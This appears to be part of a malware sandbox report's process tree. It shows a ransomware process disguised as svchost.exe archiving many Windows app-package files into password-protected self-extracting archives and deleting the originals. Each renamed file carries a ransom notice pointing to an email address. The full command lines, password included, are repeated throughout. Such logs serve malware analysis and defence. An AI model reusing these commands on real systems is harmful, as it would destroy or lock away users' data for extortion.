                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageLargeTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageLargeTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageMedTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageMedTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6064
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSmallTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSmallTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSplashScreen.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSplashScreen.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageStoreLogo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageStoreLogo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageWideTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageWideTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageBadgeLogo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageBadgeLogo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageLargeTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageLargeTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4016
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageMedTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageMedTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageSmallTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageSmallTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageSplashScreen.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageSplashScreen.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageStoreLogo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageStoreLogo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageWideTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageWideTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\LargeTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\LargeTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\LargeTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\LargeTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Logo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Logo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Logo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Logo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
